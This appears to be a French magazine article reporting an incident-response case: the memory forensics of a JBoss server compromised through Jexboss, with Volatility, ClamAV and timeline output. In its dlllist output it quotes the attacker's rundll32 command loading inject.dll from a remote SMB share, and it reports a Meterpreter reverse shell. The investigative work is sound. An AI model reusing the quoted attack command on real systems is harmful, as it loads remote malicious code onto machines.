Retour d’expérience : investigation numérique dans un environnement Windows

Spécialité(s)


Résumé

L’investigation numérique d’un système d’information (SI) consiste à comprendre d’un point de vue temporel et factuel les évènements ayant conduit à l’incident. Bien que les SI présentent une architecture bien souvent commune, les interventions sont toutes différentes et mettent en lumière l’ingéniosité des attaquants afin d’œuvrer de la manière la plus discrète possible. Nous allons présenter au cours de cet article, notre retour d’expérience relatif à une intervention auprès d’un client début 2020.


Body

1. Premier contact

Début 2020, la société TERRAC (volontairement anonymisée) spécialisée dans la gestion des matériaux de forage nous contacte suite à plusieurs évènements suspects. De nombreux ralentissements ont été observés au sein de certains serveurs de la société. Le moment exact des premiers signes n'est pas connu, mais cela remonte à quelques semaines. Nous avons obtenu quelques informations techniques lors de notre premier échange téléphonique, suffisamment pour définir le nombre de personnes à envoyer et le matériel nécessaire.

Nous savons que le système d'information (SI) impacté est composé de :

  • Serveurs : Microsoft Windows 2016 server, Frontal web ;
  • Serveurs impactés : serveur frontal et serveur de maintenance.

2. Logistique

Dans la grande majorité des cas, deux personnes sont envoyées en intervention. En fonction de l’avancée et des difficultés rencontrées, ce chiffre peut évoluer.

Nous aurons également besoin d’un certain nombre de matériels spécifiques. Rien que pour les divers prélèvements de la mémoire vive et des données présentes sur les périphériques de stockage, une puissance de stockage adaptée est nécessaire. Ce besoin prend tout son sens, car chacun des prélèvements devra être dupliqué pour effectuer les analyses, l’original sera quant à lui mis sous séquestre. Il existe de nombreuses solutions de stockage sur le marché de type SAN, NAS, avec ou sans RAID. Afin d’anticiper toutes ces configurations possibles, nous nous sommes munis de copieur/bloqueur de l’entreprise Tableau. Ils présentent l’avantage d’être reconnus au niveau légal pour le cas où l’affaire prendrait une dimension judiciaire.

3. La mémoire vive

L'entreprise possède une infrastructure assez simple. L’écosystème est composé exclusivement d'équipements sous Windows et les éléments actifs sont de la marque CISCO. Au cœur du SI, deux serveurs ESXi. Un seul est en fonctionnement, le second assure la continuité du service en cas de défaillance.

Les données relatives aux machines virtuelles sont stockées au sein d'une partition nommée « Datastore ». Chaque machine virtuelle est stockée dans un répertoire prévu à cet effet.

Les fichiers « .vmdk » correspondent aux disques durs virtuels et les fichiers « .vmem », « .vmsn » et « .vmss » sont relatifs à la mémoire vive. Depuis notre appel, aucun poste n'a été arrêté et le DSI ne prévoit aucun arrêt des systèmes durant notre intervention.

La mémoire vive est le premier élément à prélever. Dans le cas d’une infrastructure virtualisée, l’opération est plus simple. Nous demandons à l’administrateur de nous fournir les fichiers vmem. L’analyse sera effectuée avec l’outil volatility en version 2.6.

En premier lieu, nous recherchons le profil qui sera le plus adapté au dump mémoire à analyser grâce au plugin kdbgscan.

# volatility -f ../JbossServer_memory.vmem kdbgscan
**************************************************
Instantiating KDBG using: Unnamed AS Win10x64_16299 (6.4.16299 64bit)
Offset (V)                    : 0xf80378f0d500
Offset (P)                    : 0x13c50d500
KdCopyDataBlock (V)           : 0xf80378dede00
Block encoded                 : Yes
Wait never                    : 0xaab5d10f40116bba
Wait always                   : 0x8b5d94baa88a2
KDBG owner tag check          : True
Profile suggestion (KDBGHeader): Win10x64_16299
Version64                     : 0xf80378f0fcf8 (Major: 15, Minor: 14393)
Service Pack (CmNtCSDVersion) : 0
Build string (NtBuildLab)     : 14393.693.amd64fre.rs1_release.1
PsActiveProcessHead           : 0xfffff80378f1c3d0 (87 processes)
PsLoadedModuleList            : 0xfffff80378f22060 (164 modules)
KernelBase                    : 0xfffff80378c1d000 (Matches MZ: True)
Major (OptionalHeader)        : 10
Minor (OptionalHeader)        : 0
KPCR                          : 0xfffff80378f5f000 (CPU 0)
KPCR                          : 0xffff8380e3158000 (CPU 1)
**************************************************
Instantiating KDBG using: Unnamed AS Win2016x64_14393 (6.4.14393 64bit)
Offset (V)                    : 0xf80378f0d500
Offset (P)                    : 0x13c50d500
KdCopyDataBlock (V)           : 0xf80378dede00
Block encoded                 : Yes
Wait never                    : 0xaab5d10f40116bba
Wait always                   : 0x8b5d94baa88a2
KDBG owner tag check          : True
Profile suggestion (KDBGHeader): Win2016x64_14393
Version64                     : 0xf80378f0fcf8 (Major: 15, Minor: 14393)
Service Pack (CmNtCSDVersion) : 0
Build string (NtBuildLab)     : 14393.693.amd64fre.rs1_release.1
PsActiveProcessHead           : 0xfffff80378f1c3d0 (87 processes)
PsLoadedModuleList            : 0xfffff80378f22060 (164 modules)
KernelBase                    : 0xfffff80378c1d000 (Matches MZ: True)
Major (OptionalHeader)        : 10
Minor (OptionalHeader)        : 0
KPCR                          : 0xfffff80378f5f000 (CPU 0)
KPCR                          : 0xffff8380e3158000 (CPU 1)
**************************************************

Pour déterminer le profil adéquat, nous allons comparer la version de compilation « Build string » avec le nom du profil proposé. La version de compilation ici présente est 14393.693.amd64fre.rs1_release.1, seul le profil Win2016x64_14393 correspond à notre version de compilation.

Nous confirmerons le bon fonctionnement du profil sélectionné grâce aux résultats obtenus des plugins PsActiveProcessHead (nombre de processus identifiés), et PsLoadedModuleList (nombre de modules identifiés). Nous sélectionnerons le profil qui obtient le plus de résultats.

# volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393 imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug     : Determining profile based on KDBG search...
          Suggested Profile(s) : Win2016x64_14393
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : VMWareMetaAddressSpace (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/media/root/053CD60D397582C6/JbossServer_memory.vmem)
                      PAE type : No PAE
                           DTB : 0x1ab000L
                          KDBG : 0xf80378f0d500L

Une fois le profil identifié, nous utiliserons la valeur des paramètres KDBG et DTB à chaque exécution de la commande volatility. KDBG est une structure maintenue par le kernel Windows qui contient la liste des processus en cours d’exécution ainsi que les modules kernel. Tandis que DTB (Directory Table Base) est utilisé par volatility pour traduire les adresses mémoires. Il est possible de ne pas les utiliser, mais le gain de temps pour chaque requête est vraiment important et dans ce genre d'activité, cela n'est pas négligeable.

3.1 Analyse des processus

Une bonne pratique est d'utiliser un alias pour chacune de nos requêtes. Cela soulage le prompt et offre une meilleure visibilité.

# alias vol = "volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393" --kdbg=0xf80378f0d500 --dtb=0x1ab000"

La première étape va consister à lister les nombreux processus chargés en mémoire à la recherche d'incohérence. Par incohérence, comprendre la présence de parents illégitimes, l’exécution à partir de répertoire possédant des droits d’écriture (c:/users/ ou c:/windows/temp) ou bien la création d'un processus non prévu tel que cmd.exe, ou powershell.exe par exploitation d’une vulnérabilité d’un exécutable.

La commande pstree permet d’avoir cette vision hiérarchique.

# volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393 --kdbg=0xf80378f0d500 --dtb=0x1ab000 pstree
 
....... 0xffff9a0fd5df2080:java.exe          4168    996  72   0 2020-01-16 13:22:35 UTC+0000
........ 0xffff9a0fd5410080:cmd.exe          5672   4168   1   0 2020-01-16 13:25:03 UTC+0000
......... 0xffff9a0fd4cf3080:conhost.exe     5680   5672   1   0 2020-01-16 13:25:03 UTC+0000
......... 0xffff9a0fd5c81080:rundll32.exe    5704   5672   1   0 2020-01-16 13:25:03 UTC+0000
.......... 0xffff9a0fd5218080:rundll32.exe   5716   5704   2   0 2020-01-16 13:25:03 UTC+0000

Volatility permet également de générer des fichiers au format dot. Il permet d’avoir une visualisation des dépendances sous forme de graphe. Il faut ajouter l’option --output=dot --output-file=pstree.dot à la commande précédente.

# apt install graphviz
fdp pstree.dot -T png -o casexx _dumnp_pstree.png

En figure 1, voici une représentation graphique obtenue.

image-1-visualisation-processus.001-s

Figure 1

Le processus java.exe possède des processus fils dont plusieurs cmd.exe, et rundll32.exe. Il ne s’agit pas d’un comportement normal. L’analyse de la mémoire va se poursuivre avec l’utilisation du plugin malfind. Ce dernier va parcourir la mémoire de chacun des processus à la recherche d’incohérences qui refléteraient une possible injection de code. Pour ce faire, il va rechercher des sections de mémoire étant PAGE_EXECUTE_READWRITE et contenant du code.

Ce plugin est très performant, mais n’est pas fiable à 100 %. Nous verrons un peu plus loin comment vérifier ses résultats.

Le processus rundll32.exe identifié précédemment fait partie de la liste des résultats du plugin malfind.

# volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393 --kdbg=0xf80378f0d500 --dtb=0x1ab000 malfind -p 5716
 
Process: rundll32.exe Pid: 5716 Address: 0x850000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: PrivateMemory: 1, Protection: 6
0x00850000 4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 64   MZ.....[REU....d

Les lettres MZ indiquent qu’il s’agit d’un fichier au format Portable Executable (PE) et donc un exécutable pour Windows. Le plugin malfind a identifié un certain nombre d'anomalies au sein du processus.

Gardez à l’esprit que le résultat affiché ne contient que 64 bytes de la section de mémoire contenant potentiellement une injection de code. Il est important de ne pas baser son analyse uniquement sur la recherche des lettres MZ sur le résultat affiché. Certaines techniques d’injection utilisent désormais des techniques d’offuscation ou le marqueur MZ n’est plus présent.

Nous avons donc décidé d'extraire grâce à l’argument -D ces sections de mémoire afin de les analyser plus en détail.

Feb  1 04:56  process.0xffff9a0fd5218080.0x4670000.dmp
Feb  1 04:56  process.0xffff9a0fd5218080.0x680000.dmp
Feb  1 04:56  process.0xffff9a0fd5218080.0x850000.dmp
Feb  1 04:56  process.0xffff9a0fd5218080.0x880000.dmp
Feb  1 04:56  process.0xffff9a0fd5218080.0x9c0000.dmp

Il peut être difficile au premier abord de faire le lien entre le nom des fichiers « .dmp » et les processus identifiés par le plugin malfind. Prenons l’exemple du processus rundll32.exe qui a pour PID 5716. Malfind affiche l’adresse du processus au sein de la mémoire qui est : 0x850000. Si nous visualisons le nom des fichiers extraits, nous retrouvons cette adresse en dernière partie de nommage process.0xffff9a0fd5218080.0x850000.dmp.

Il est possible que le plugin malfind considère à tort qu’une partie de la mémoire présente des similitudes avec une injection de code. Pour valider les résultats du plugin, il est possible d’utiliser la commande clamav pour scanner les fichiers extraits et mettre en avant les éventuels logiciels malveillants.

# clamscan *
process.0xffff9a0fd5218080.0x4670000.dmp: OK
process.0xffff9a0fd5218080.0x680000.dmp: Win.Trojan.MSShellcode-7 FOUND
process.0xffff9a0fd5218080.0x850000.dmp: Win.Tool.MeterPreter-6294292-0 FOUND
process.0xffff9a0fd5218080.0x880000.dmp: Win.Tool.MeterPreter-6294292-0 FOUND
process.0xffff9a0fd5218080.0x9c0000.dmp: OK
 
----------- SCAN SUMMARY -----------
Known viruses: 6768074
Engine version: 0.102.2
Scanned directories: 0
Scanned files: 5
Infected files: 3
Data scanned: 1.10 MB
Data read: 1.01 MB (ratio 1.09:1)
Time: 20.516 sec (0 m 20 s)

L’analyse de Clamav confirme que le processus rundll32.exe ayant pour PID 5716 comporte un implant Meterpreter.

Pour valider les résultats du plugin, il est possible d’utiliser la commande binwalk qui identifiera le type des fichiers extraits de la mémoire du processus. S’il s’agit de fichiers de type « data », nous considérons que le plugin s’est trompé. Dans le cas contraire, nous ferons face à un binaire qui aura été injecté dans notre processus légitime.

# for i in $(ls *.dmp); do echo "################ Analyse $i"; binwalk $i ; done
 
################ Analyse process.0xffff9a0fd5218080.0x4670000.dmp
 
DECIMAL   HEXADECIMAL   DESCRIPTION
--------------------------------------------------------------------------------
0         0x0           Microsoft executable, portable (PE)
272164    0x42724       Copyright string: "Copyright (C) 2010, Thomas G. Lane, Guido Vollbeding"
344160    0x54060       Microsoft executable, portable (PE)
..
..

Le résultat de la commande précédente confirme que sur les 5 fichiers, 4 sont des exécutables.

Nous envoyons le tout vers le site VirusTotal qui permet d’effectuer une analyse statique et dynamique des fichiers (figure 2).

image-2-virustotal-s

Figure 2

3.2 Analyse des DLLs chargées par les processus

Afin de comprendre au mieux le rôle du binaire rundll32.exe, nous regardons du côté des bibliothèques chargées.

# volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393 --kdbg=0xf80378f0d500 --dtb=0x1ab000 dlllist -p 5716

Aucune information intéressante. Regardons du côté de son processus père (5704).

# volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393 --kdbg=0xf80378f0d500 --dtb=0x1ab000 dlllist -p 5704
Volatility Foundation Volatility Framework 2.6
************************************************************************
rundll32.exe pid:   5704
Command line : rundll32.exe \\192.168.205.180\XzmKO\inject.dll,0
 
Base                    Size   LoadCount LoadTime                       Path
------------------ ---------- ---------- ------------------------------ ----
0x0000000000a00000   0x14000      0xffff 2020-01-16 13:25:03 UTC+0000   C:\Windows\SysWOW64\rundll32.exe
0x00007ffc38d20000  0x1d1000      0xffff 2020-01-16 13:25:03 UTC+0000   C:\Windows\SYSTEM32\ntdll.dll
0x0000000055ae0000   0x52000      0xffff 2020-01-16 13:25:03 UTC+0000   C:\Windows\System32\wow64.dll
0x0000000055b40000   0x77000         0x6 2020-01-16 13:25:03 UTC+0000   C:\Windows\System32\wow64win.dll
..
0x00000000738e0000    0x5000         0x6 2020-01-16 13:25:03 UTC+0000   \\192.168.205.180\XzmKO\inject.dll

3.3 Analyse des connexions réseau

L’analyse du processus rundll32.exe (PID : 5704) a permis de mettre en avant une donnée très importante. Nous avons obtenu l’adresse IP hébergeant la DLL chargée. D’après les résultats d’analyse de VirusTotal, cette DLL a également permis à l’utilisateur distant ayant cette adresse IP d’exécuter des commandes.

Pour confirmer les connexions réseaux entre le système impacté et l’adresse IP distante, nous avons utilisé le plugin netscan.

image-3-volatility netscan-s

Figure 3

Plusieurs connexions réseaux à destination de l’adresse IP ressortent avec le plugin dlllist.

Les processus impactés sont :

  • rundll32.exe (PID : 5856) : TCP / 192.168.205.186:49768 → 192.168.205.180:443 CLOSED : correspond comme nous l’indique VirusTotal à un reverse shell qui a eu lieu à 2020-01-16 13:25:09 UTC+0000 ;
  • java.exe (PID : 4168) : TCP / 192.168.205.186:8080 ← 192.168.205.180:35132 CLOSED : correspond à une connexion légitime au service jboss qui s’est déroulé à 2020-01-16 13:24:23 UTC+0000 ;
  • system (PID : 4) : TCP / 192.168.205.186:49765 → 192.168.205.180:445 CLOSED : correspond au chargement de la dll par rundll32 sur un partage réseau à 2020-01-16 13:24:57 UTC+0000.

3.4 Analyse des droits obtenus sur le système

Nous avons précédemment recueilli un certain nombre d’éléments confirmant la présence d’une personne non autorisée sur le système d’information le 16 janvier 2020 aux alentours de 13h24 UTC. Le plugin getsids identifie les droits des processus exploités. Il s’agit d’un bon indicateur pour déterminer le niveau de gravité de cette intrusion.

# volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393 --kdbg=0xf80378f0d500 --dtb=0x1ab000 getsids -p 5856
(1) rundll32.exe (5856): S-1-5-18 (Local System)
(2) rundll32.exe (5856): S-1-5-32-544 (Administrators)
(3) rundll32.exe (5856): S-1-1-0 (Everyone)

L’analyse des résultats du plugin getsids s’effectue de la manière suivante.

Le résultat indique que le processus avait les droits SYSTEM, appartenant au groupe Administrators lors de son exécution (1). Les lignes suivantes correspondent aux divers groupes dépendant du groupe ayant le plus de privilèges, ici Administrators.

3.5 Timeline

La timeline ou la suite factuelle des évènements est réalisable via les modules timeliner, mftparser et shellbags.

timeliner va extraire les métadonnées de tous les fichiers présents sur le système, mftparser va parcourir la master file table (MFT) indiquant notamment les dates de création, suppression et modification de chaque fichier et enfin shellbag va extraire les métadonnées présentes en base de registre.

# volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393 --kdbg=0xf80378f0d500 --dtb=0x1ab000 timeliner --output=body > timeliner.body
volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393 --kdbg=0xf80378f0d500 --dtb=0x1ab000 mftparser --output=body > mftparser.body
volatility -f ../JbossServer_memory.vmem --profile=Win2016x64_14393 --kdbg=0xf80378f0d500 --dtb=0x1ab000 shellbags --output=body > shellbags.body

Lorsque les fichiers body ont été générés, nous les avons regroupés dans le but de faciliter les pré-traitements.

# cat timeliner.body > timeline_globale.bodyfile
# cat mftparser.body >> timeline_globale.bodyfile
# cat shellbags.body >> timeline_globale.bodyfile
# sort timeline_globale.bodyfile | uniq > dedup-timeline_globale.bodyfile
# mactime -z UTC -y -d -b dedup-timeline_globale.bodyfile > mactime-timeline_globale.csv
# cat mactime-timeline_globale.csv | grep ‘macb’ > mactime-timeline_globale_macb.csv

Si nous analysons de plus près la timeline générée, nous constatons qu’au moment où l’adresse IP a accédé au service jboss, une application JAVA nommée jexws4.war a été déployée.

2020-01-16T13:24:30Z,0,macb,---a-----------,0,0,121791,"[MFT FILE_NAME] Users\ADMINI~1\DOCUME~1\JBOSS-~1.FIN\JBOSS-~1.FIN\server\default\tmp\deploy\TMP257~1.WAR (Offset: 0x1208ec00)"
2020-01-16T13:24:30Z,0,macb,---a-----------,0,0,121791,"[MFT FILE_NAME] Users\ADMINI~1\DOCUME~1\JBOSS-~1.FIN\JBOSS-~1.FIN\server\default\tmp\deploy\tmp2574240592462556830jexws4.war (Offset: 0x1208ec00)"

Après quelques recherches en sources ouvertes, nous nous sommes aperçus qu’il s’agissait d’un outil utilisé pour exploiter les vulnérabilités de services Jboss. Ce dernier nommé « Jexboss » permet ainsi à une personne malveillante d’obtenir un shell sur un serveur vulnérable.

La connexion réseau qui a eu lieu à 2020-01-16 13:25:09 UTC+0000 à destination de l’adresse IP identifiée précédemment sur le port 443, confirme cette hypothèse.

Conclusion

Nous venons de présenter dans cette première partie la méthodologie utilisée pour analyser la mémoire vive. Ont été présentés que les outils ayant permis d'avancer dans l'investigation et cette approche n'est qu'une parmi d'autres. Le schéma en figure 4 regroupe factuellement les actions observées.

image-4-timeline-analyse-memoire-s

Figure 4


Article rédigé par

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous